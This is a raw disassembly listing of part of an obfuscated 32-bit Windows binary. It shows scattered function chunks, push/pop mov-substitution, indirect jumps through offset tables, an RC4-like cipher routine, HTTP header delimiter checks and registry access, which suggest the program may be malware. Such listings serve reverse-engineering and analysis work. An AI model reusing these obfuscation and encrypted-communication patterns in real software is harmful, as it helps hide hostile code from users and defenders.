sub_9B27D8	proc near		; CODE XREF: sub_9AB3B0+71A0j

; FUNCTION CHUNK AT 009AB32B SIZE 00000046 BYTES
; FUNCTION CHUNK AT 009AD694 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 009AF59C SIZE 00000046 BYTES
; FUNCTION CHUNK AT 009B01A7 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 009B0F40 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009B43CC SIZE 00000025 BYTES

		push	ebx
		pop	edi
		sub	edx, eax
		dec	edi


loc_9B27DD:				; CODE XREF: sub_9B27D8+Bj
		mov	cl, [edi+1]
		inc	edi
		or	cl, cl
		jnz	short loc_9B27DD
		jmp	off_9B9E5E
sub_9B27D8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B0FD0


loc_9B27EF:				; CODE XREF: sub_9B0FD0+4D8Dj
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx]
		push	off_9B9632
		call	dword ptr [eax+1Ch]
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B0FD0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF030


loc_9B281C:				; CODE XREF: sub_9AF030+6150j
					; DATA XREF: .text:off_9B8ECEo
		push	[ebp+var_28]
		pop	edx
		cmp	edx, [edi]
		jnz	loc_9AC620
		jmp	loc_9B37E8
; END OF FUNCTION CHUNK	FOR sub_9AF030
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9B2830	proc near		; CODE XREF: sub_9B2F1C-4884p

; FUNCTION CHUNK AT 009AB7AC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009ABEF0 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009AD190 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B2680 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B3804 SIZE 0000005D BYTES
; FUNCTION CHUNK AT 009B4318 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009B4590 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009B4901 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B4B4C SIZE 0000000E BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B8870
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		sub	eax, eax
		mov	[ebp-18h], esp
		mov	[ebp-1Ch], eax
		push	ecx
		pop	ebx
		push	1FFCh
		pop	ecx
		mov	edx, ebx
		mov	[ebp-4], eax
		call	sub_9B649C
		push	eax
		pop	esi
		mov	[ebp-1Ch], esi
		cmp	esi, 0Ah
		jb	loc_9AD190
		jmp	loc_9AB7AC
sub_9B2830	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3FF8


loc_9B2884:				; CODE XREF: sub_9B3FF8-82E8j
					; sub_9B3FF8-5BA3j ...
		mov	[ebp+var_1C], 0
		jmp	loc_9AF9C3
; END OF FUNCTION CHUNK	FOR sub_9B3FF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B4480


loc_9B2890:				; CODE XREF: sub_9B4480-87D0j
					; DATA XREF: .text:off_9B9014o
		mov	[ebp+var_32C], ebx
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx+0Ch]
		lea	eax, [ebp+var_32C]
		push	eax
		push	edi
		push	esi
		push	esi
		lea	ecx, [ebp+var_120]
		push	ecx
		mov	eax, [ebp+var_330]
		push	eax
		call	dword ptr [edx+10h]
		test	eax, eax
		jnz	loc_9B46EF
		jmp	off_9BAAC8
; END OF FUNCTION CHUNK	FOR sub_9B4480
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9B28CC:				; CODE XREF: sub_9B3864-3664j
		mov	edx, [ebp+var_2028]
		mov	[ebp+var_2058],	edx
		call	sub_9B45AC
		xor	edx, edx
		cmp	edi, 6
		jnz	loc_9B2690
		jmp	loc_9AB02C
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AFB1C


loc_9B28F0:				; CODE XREF: sub_9AFB1C+62AFj
					; DATA XREF: .text:off_9B9575o
		mov	[esi+2], ax
		mov	eax, 10h
		mov	[ebp-1Ch], eax


loc_9B28FC:				; CODE XREF: sub_9AFB1C-1323j
		test	bl, 10h
		jz	loc_9ACDC0
		jmp	loc_9ACDB4
; END OF FUNCTION CHUNK	FOR sub_9AFB1C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9B290C:				; CODE XREF: sub_9AB1A0-367j
					; sub_9AB1A0+5383j ...
		xor	edi, edi
		mov	[ebp-1Ch], edi


loc_9B2911:				; CODE XREF: sub_9AB1A0-36Dj
					; sub_9AB1A0+2B1Cj ...
		push	edi
		call	sub_9B3EFC
		add	esp, 4
		test	eax, eax
		jz	loc_9AD304
		jmp	loc_9B1038
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3408


loc_9B292C:				; CODE XREF: sub_9B3408-7670j
					; DATA XREF: .text:off_9BA938o
		push	dword ptr [ebp-130h]
		pop	edx
		cmp	edx, [ebp-128h]
		jnz	loc_9AB749
		jmp	loc_9AD158
; END OF FUNCTION CHUNK	FOR sub_9B3408
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9B2944:				; CODE XREF: sub_9B4950-7581j
					; sub_9B4950-181Dj
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax]
		pop	ecx
		push	offset dword_9BBCE0
		call	dword ptr [ecx+18h]
		sub	ecx, ecx


loc_9B2958:				; CODE XREF: sub_9B4950-D6Fj
		mov	[ebp-1Ch], ecx
		cmp	ecx, 20h
		jge	loc_9AB2E8
		jmp	off_9B9E9F
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9B296C:				; CODE XREF: sub_9ADAC4-1C86j
					; DATA XREF: .text:off_9BA6DFo
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx+10h]
		pop	edx
		push	edi
		call	dword ptr [edx+38h]
		jmp	loc_9AE6B5
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 10h
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B649C


loc_9B2984:				; CODE XREF: sub_9B649C-7AA1j
		lea	ecx, [eax+2]
		cmp	ecx, edi
		ja	loc_9ACCD8
		jmp	off_9BA4D5
; END OF FUNCTION CHUNK	FOR sub_9B649C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AEDD0


loc_9B2998:				; CODE XREF: sub_9AEDD0+4466j
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	eax
		push	off_9BAD92
		call	dword ptr [eax+1Ch]
		mov	eax, esi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_9AEDD0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9B29B0	proc near		; CODE XREF: sub_9B2118:loc_9B2AE4p

; FUNCTION CHUNK AT 009AE9CC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009B22D0 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 009B541B SIZE 00000028 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9BA69C
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 218h
		push	dword_9B8788
		pop	eax
		xor	eax, ebp
		mov	[ebp-1Ch], eax
		push	ebx
		push	esi
		push	edi
		sub	esi, esi
		mov	[ebp-18h], esp
		mov	[ebp-228h], esi
		mov	[ebp-4], esi
		lea	eax, [ebp-224h]
		push	eax
		push	3
		call	sub_9B4CF4
		add	esp, 8
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx]
		pop	edx
		push	esi
		lea	eax, [ebp-224h]
		push	eax
		call	dword ptr [edx+98h]
		or	eax, eax
		jnz	loc_9AE9CC
		jmp	off_9B901C
sub_9B29B0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B2A28:				; CODE XREF: sub_9B63D8-A94j
					; DATA XREF: .text:off_9BAD10o
		call	sub_9B45AC
		sub	edx, edx
		div	ebx
		push	dword ptr [esi+0Ch]
		pop	eax
		mov	ecx, [eax+edx*4]
		mov	ebx, [ecx]
		mov	[ebp-2178h], ebx
		push	ebx
		call	sub_9B3EFC
		jmp	off_9B9823
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9B2A4C:				; CODE XREF: sub_9B4950-194j
		mov	dword_9BEC24[edi], 1
		push	dword_9BEC2C[edi]
		pop	ebx
		mov	ecx, [ebp-20h]
		push	ecx
		lea	esi, [ebp-4Ch]
		mov	eax, ebx
		call	sub_9AC250
		push	dword ptr [ebp-4Ch]
		pop	edx
		push	edx
		push	ebx
		push	off_9B9F6A
		call	sub_9ABF08
		mov	dword_9BEC34[edi], eax
		push	dword ptr [ebp-48h]
		pop	eax
		push	eax
		mov	ecx, dword_9BEC2C[edi]
		push	ecx
		push	off_9BB054
		call	sub_9ABF08
		mov	dword_9BEC38[edi], eax
		mov	edx, [ebp-44h]
		push	edx
		push	dword_9BEC2C[edi]
		pop	eax
		push	eax
		jmp	off_9B8F85
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
		align 4


loc_9B2AB4:				; CODE XREF: .text:009AE668j
					; .text:009B20ABj
					; DATA XREF: ...
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx]
		pop	edx
		call	dword ptr [edx+30h]
		sub	eax, esi
		cmp	eax, 3E8h
		jb	loc_9AE654
		jmp	off_9BACBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B03E8


loc_9B2AD4:				; CODE XREF: sub_9B03E8-F06j
		cmp	eax, 80000000h
		jb	loc_9B6224
		jmp	loc_9B42D0
; END OF FUNCTION CHUNK	FOR sub_9B03E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B2118


loc_9B2AE4:				; CODE XREF: sub_9B2118-26D3j
		call	sub_9B29B0
		test	eax, eax
		jz	loc_9B034B
		jmp	loc_9B0570
; END OF FUNCTION CHUNK	FOR sub_9B2118
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9B2AF8:				; CODE XREF: sub_9ADAC4+1F6Cj
		cmp	edi, 0FFFFFFFFh
		jz	loc_9AE6B5
		jmp	loc_9AD64C
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B037C


loc_9B2B08:				; CODE XREF: sub_9B037C-3268j
					; sub_9B037C+5B22j
		test	al, 4
		jz	loc_9AB9A8
		jmp	loc_9ABFEC
; END OF FUNCTION CHUNK	FOR sub_9B037C
; ---------------------------------------------------------------------------
		align 4
off_9B2B18	dd offset loc_9ACC20	; DATA XREF: sub_9ADDA4:loc_9B1C08r
		dd offset loc_9AF1E0
		dd offset loc_9AC55C
		dd offset loc_9AC9C8
		dd offset loc_9AC9C8
		dd offset loc_9AF238
		dd offset loc_9AF238
		dd offset loc_9B2BE4
		dd offset loc_9B2BE4
		dd offset loc_9B2BE4
; ---------------------------------------------------------------------------
		mov	dword_9BCB98, 0
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B03E8


loc_9B2B4C:				; CODE XREF: sub_9B03E8+5E4Fj
		mov	esi, 1


loc_9B2B51:				; CODE XREF: sub_9B03E8+3EEAj
		mov	[ebp-150h], esi
		call	sub_9B2490
		mov	ebx, eax
		neg	ebx
		sbb	ebx, ebx
		and	ebx, 2000h
		call	sub_9ACD20
		neg	eax
		sbb	eax, eax
		and	eax, 1000h
		or	ebx, eax
		call	sub_9B3618
		neg	eax
		sbb	eax, eax
		and	eax, 800h
		or	ebx, eax
		call	sub_9AF704
		neg	eax
		sbb	eax, eax
		and	eax, 400h
		or	ebx, eax
		neg	esi
		sbb	esi, esi
		and	esi, 200h
		or	ebx, esi
		neg	edi
		sbb	edi, edi
		and	edi, 100h
		or	ebx, edi
		mov	word ptr dword_9BF380, bx
		mov	dword ptr [ebp-0B0h], 94h
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		lea	edx, [ebp-0B0h]
		push	edx
		call	dword ptr [ecx+90h]
		and	eax, eax
		jz	loc_9B56A0
		jmp	loc_9B394C
; END OF FUNCTION CHUNK	FOR sub_9B03E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ADDA4


loc_9B2BE4:				; CODE XREF: sub_9ADDA4:loc_9B1C08j
					; DATA XREF: .text:009B2B34o ...
		lea	edx, [edi-3]
		mov	[ebp-20h], edx
		jmp	loc_9AED43
; END OF FUNCTION CHUNK	FOR sub_9ADDA4
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ABF08


loc_9B2BF0:				; CODE XREF: sub_9ABF08+768Fj
					; DATA XREF: .text:off_9B8CD6o
		cmp	eax, 0FFFFFFFFh
		jz	loc_9AF20F
		jmp	off_9BA0C1
; END OF FUNCTION CHUNK	FOR sub_9ABF08
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B46CC


loc_9B2C00:				; CODE XREF: sub_9B46CC-229Dj
		mov	eax, 54A9D400h


loc_9B2C05:				; CODE XREF: sub_9B46CC-22A3j
					; sub_9B46CC+169Ej
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx]
		pop	ecx
		lea	edx, [eax-54600h]
		push	6EF5DE4Dh
		pop	eax
		mul	edx
		shr	edx, 12h
		push	edx
		push	off_9BA96D
		call	dword ptr [ecx+34h]


loc_9B2C2A:				; CODE XREF: sub_9B46CC-57F3j
		mov	eax, dword_9BEC14
		retn
; END OF FUNCTION CHUNK	FOR sub_9B46CC

; =============== S U B	R O U T	I N E =======================================



sub_9B2C30	proc near		; CODE XREF: sub_9AB11C+22p

; FUNCTION CHUNK AT 009B6039 SIZE 00000003 BYTES

		push	esi
		push	edi
		push	ecx
		pop	edi
		mov	esi, edx
		test	edi, edi
		jz	loc_9B6039
		jmp	sub_9ADE44
sub_9B2C30	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF704


loc_9B2C44:				; CODE XREF: sub_9AF704+2Dj
					; DATA XREF: .text:off_9B9534o
		mov	[ebp-4], eax
		mov	eax, 1
; END OF FUNCTION CHUNK	FOR sub_9AF704
; ---------------------------------------------------------------------------
		dd 0B073F0Fh, 1E445C7h,	0E9000000h, 2077h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9B2C5C:				; CODE XREF: sub_9B1A08-36C2j
					; sub_9B1A08+2EDDj
		mov	eax, [ebp+var_41E4]


loc_9B2C62:				; CODE XREF: sub_9B1A08-307Dj
		test	eax, eax
		jz	loc_9B17C7
		jmp	loc_9AF0A8
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9B2C70	proc near		; CODE XREF: sub_9B1F68-3EB6j

; FUNCTION CHUNK AT 009AD0D8 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 009AD668 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 009AE9B4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009B01C4 SIZE 00000017 BYTES

		push	ebx
		call	dword ptr [ecx+50h]
		mov	[ebp-58h], eax
		test	eax, eax
		jnz	loc_9AD0D8
		jmp	off_9B8D42
sub_9B2C70	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B2C88:				; CODE XREF: sub_9B0930+2E9j
					; DATA XREF: .text:off_9BAD59o
		push	dword ptr [eax+10h]
		pop	edx
		cmp	dword ptr [edx], 0
		jz	loc_9B23EF
		jmp	loc_9AD254
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ACEE8


loc_9B2C9C:				; CODE XREF: sub_9ACEE8+78F0j
		or	ebx, ebx
		jnz	loc_9AC65C
		jmp	off_9B9F82
; END OF FUNCTION CHUNK	FOR sub_9ACEE8
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B2CB4:				; CODE XREF: sub_9B63D8-9AD8j
					; DATA XREF: .text:off_9BAAC4o
		cmp	dword ptr [eax+ebp-2120h], 0A0D0A0Dh
		jnz	loc_9B60CC
		jmp	off_9B8E9C
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4CF4


loc_9B2CCC:				; CODE XREF: sub_9B4CF4+43j
		push	offset dword_9BBD34
		pop	eax
		mov	edx, eax


loc_9B2CD4:				; CODE XREF: sub_9B4CF4-201Bj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_9B2CD4
		jmp	off_9B9518
; END OF FUNCTION CHUNK	FOR sub_9B4CF4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B327C


loc_9B2CE4:				; CODE XREF: sub_9B327C-8168j
					; DATA XREF: .text:off_9BA137o
		and	eax, 0F0FFh
		cmp	eax, 10ACh
		jz	loc_9B4264
		jmp	off_9BA3CC
; END OF FUNCTION CHUNK	FOR sub_9B327C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B5FC0


loc_9B2CFC:				; CODE XREF: sub_9B5FC0-3EAEj
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+0Ch]
		pop	eax
		push	[ebp+var_128]
		pop	ecx
		push	ecx
		call	dword ptr [eax+14h]


loc_9B2D12:				; CODE XREF: sub_9B5FC0-3EB4j
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+0Ch]
		pop	eax
		mov	ecx, [ebp+var_124]
		push	ecx
		call	dword ptr [eax+14h]


loc_9B2D27:				; CODE XREF: sub_9B5FC0-5EA2j
		inc	esi
		jmp	loc_9B6000
; END OF FUNCTION CHUNK	FOR sub_9B5FC0
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ACF9C


loc_9B2D30:				; CODE XREF: sub_9ACF9C+2D46j
		mov	ecx, [ebp+14h]
		push	ecx
		mov	edx, [ebp+10h]
		push	edx
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax+10h]
		push	dword ptr [ebp+0Ch]
		pop	esi
		xor	edx, edx
		mov	dx, [esi+2]
		push	edx
		call	dword ptr [ecx+28h]
		movzx	eax, ax
		push	eax
		push	dword ptr [esi+4]
		pop	ecx
		push	ecx
		mov	ecx, [ebx]
		sub	ecx, 200h
		mov	edx, [ebx+48h]
		push	edx
		push	1
		call	sub_9AFC28
		jmp	loc_9AF134
; END OF FUNCTION CHUNK	FOR sub_9ACF9C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9B2D74:				; CODE XREF: sub_9B1D80+292Ej
					; DATA XREF: .text:off_9B98EAo
		test	ebx, ebx
		jnz	loc_9AB0A2
		jmp	off_9B925C
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0D34


loc_9B2D84:				; CODE XREF: sub_9B0D34-1471j
		mov	[edi], eax
		push	4
		pop	eax
; END OF FUNCTION CHUNK	FOR sub_9B0D34
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B2D8C:				; CODE XREF: sub_9B0930-4090j
					; DATA XREF: .text:off_9B89DDo
		push	dword ptr [eax+4]
		pop	edx
		cmp	dword ptr [edx], 0
		jz	loc_9B23EF
		jmp	off_9B97D9
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9B2DA0:				; CODE XREF: sub_9ADAC4-21C8j
					; DATA XREF: .text:off_9B96ECo
		lea	ecx, [ebp+esi*4-84h]
		cmp	dword ptr [ecx], 0
		jz	loc_9ABFB9
		jmp	off_9BA66F
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B2DB8:				; CODE XREF: sub_9B0930+1E88j
					; DATA XREF: .text:off_9B8E29o
		push	off_9BA370
		mov	ecx, [eax]
		push	ecx
		call	esi
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	ecx
		mov	[ecx+8], eax
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx]
		push	dword ptr [eax+8]
		pop	ecx
		and	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9AE390
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B2DEC:				; CODE XREF: sub_9B63D8-7BA5j
					; DATA XREF: .text:off_9B9840o
		cmp	word ptr [ebx+ebp-20FBh], 0A0Dh
		jnz	loc_9B469E
		jmp	off_9BAF2C
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		mov	edi, edi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B2E04	proc near		; DATA XREF: .text:off_9BB054o

var_4058	= dword	ptr -4058h
var_4050	= dword	ptr -4050h
var_4044	= dword	ptr -4044h
var_4040	= dword	ptr -4040h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 009AB634 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009AC13B SIZE 00000034 BYTES
; FUNCTION CHUNK AT 009ACB90 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009AF098 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B1064 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 009B240C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B273C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B504C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B572A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009B6160 SIZE 00000028 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9BAFDF
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	4040h
		pop	eax
		call	__alloca_probe
		push	dword_9B8788
		pop	eax
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4044],	esi
		mov	eax, [esi+0Ch]
		mov	[ebp+var_4050],	eax
		sub	ebx, ebx
		mov	bx, [esi+10h]
		mov	[ebp+var_4058],	ebx
		mov	[ebp+var_4], 0
		or	edi, 0FFFFFFFFh
		mov	[ebp+var_4040],	edi
		push	11h
		movzx	ecx, bx
		push	ecx
		call	sub_9AE400
		test	eax, eax
		jz	loc_9B504C
		jmp	off_9BA39C
sub_9B2E04	endp

; ---------------------------------------------------------------------------
		align 4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AD7A4


loc_9B2E90:				; CODE XREF: sub_9AD7A4+ECj
					; DATA XREF: .text:off_9BAC17o
		mov	[eax], cl
		movzx	ecx, cl
		lea	ecx, [eax+ecx+2]
		mov	[esp+10h+var_1], bl
		mov	bl, [ecx]
		add	[eax+1], bl
		mov	bl, [eax+1]
		mov	[esp+10h+var_3], bl
		mov	bl, [ecx]
		movzx	esi, [esp+10h+var_3]
		mov	[esp+10h+var_4], bl
		mov	bl, [eax+esi+2]
		mov	[ecx], bl
		movzx	ecx, byte ptr [eax+1]
		mov	bl, [esp+10h+var_4]
		mov	[eax+ecx+2], bl
		movzx	ecx, byte ptr [eax+1]
		mov	cl, [eax+ecx+2]
		movzx	esi, byte ptr [eax]
		add	cl, [eax+esi+2]
		movzx	ecx, cl
		movzx	eax, byte ptr [eax+ecx+2]
		xor	ecx, ecx
		mov	ch, dl
		movzx	edx, [esp+10h+var_1]
		pop	edi
		pop	esi
		pop	ebx
		mov	cl, [esp+4+var_2]
		shl	ecx, 8
		or	ecx, edx
		shl	ecx, 8
		or	eax, ecx
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_9AD7A4
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp-1Ch]
		pop	eax
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B2F1C	proc near		; CODE XREF: sub_9ACA48+92p
					; sub_9B1D80-2059p ...

; FUNCTION CHUNK AT 009AB548 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009ABB74 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009AD444 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009ADA40 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 009AE688 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 009AF3D0 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009AF570 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 009B21B0 SIZE 0000003B BYTES
; FUNCTION CHUNK AT 009B22F0 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 009B528F SIZE 00000019 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9BA3F0
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	dword ptr [ebp-4], 0
		push	dword ptr [ebp+0Ch]
		pop	eax
		mov	dword ptr [eax], 0
		mov	esi, [ebp+8]
		mov	ecx, 800h
		sub	eax, eax
		mov	edi, esi
		rep stosd
		push	0Ah
		pop	eax
		mov	[ebp-1Ch], eax
		mov	edi, [ebp+10h]
		sub	ebx, ebx
		test	edi, edi
		setnz	bl
		push	dword ptr [ebp+14h]
		pop	ecx
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 2
		mov	edx, [ebp+34h]
		or	ebx, ecx
		neg	edx
		sbb	edx, edx
		and	edx, 80h
		or	ebx, edx
		sub	ecx, ecx
		cmp	dword ptr [ebp+18h], 6
		setnz	cl
		dec	ecx
		and	ecx, 4
		or	ebx, ecx
		mov	ecx, [ebp+1Ch]
		push	ecx
		pop	edx
		neg	edx
		sbb	edx, edx
		and	edx, 8
		or	ebx, edx
		push	dword ptr [ebp+20h]
		pop	edi
		push	edi
		pop	edx
		neg	edx
		sbb	edx, edx
		and	edx, 10h
		or	ebx, edx
		push	dword ptr [ebp+24h]
		pop	edx
		neg	edx
		sbb	edx, edx
		and	edx, 20h
		or	ebx, edx
		push	dword ptr [ebp+30h]
		pop	edx
		neg	edx
		sbb	edx, edx
		and	edx, 40h
		or	ebx, edx
		mov	[ebp-20h], ebx
		mov	[esi+8], bx
		test	bl, 8
		jz	loc_9B21DC
		jmp	off_9B9F7E
sub_9B2F1C	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AEC20


loc_9B2FEC:				; CODE XREF: sub_9AEC20+8F7j
		mov	ecx, off_9B9844
		call	sub_9B5480
		mov	dword_9BBE3C, esi
		mov	[ebp-228h], edi


loc_9B3003:				; CODE XREF: sub_9AEC20+8F1j
		lea	ecx, [ebp-228h]
		call	sub_9B5480
		lea	edx, [ebp-224h]
		push	edx
		push	7
		mov	eax, dword_9BBD28
		push	eax
		call	sub_9AE860
		add	esp, 0Ch
		push	eax
		lea	edx, [ebp-120h]
		push	80000002h
		pop	ecx
		call	sub_9B3408
		mov	esi, eax
		sub	edx, edx
		mov	[ebp-228h], esi
		push	dword_9BBE3C
		pop	ecx
		call	sub_9AEE5C
		mov	ebx, eax
		mov	ecx, esi
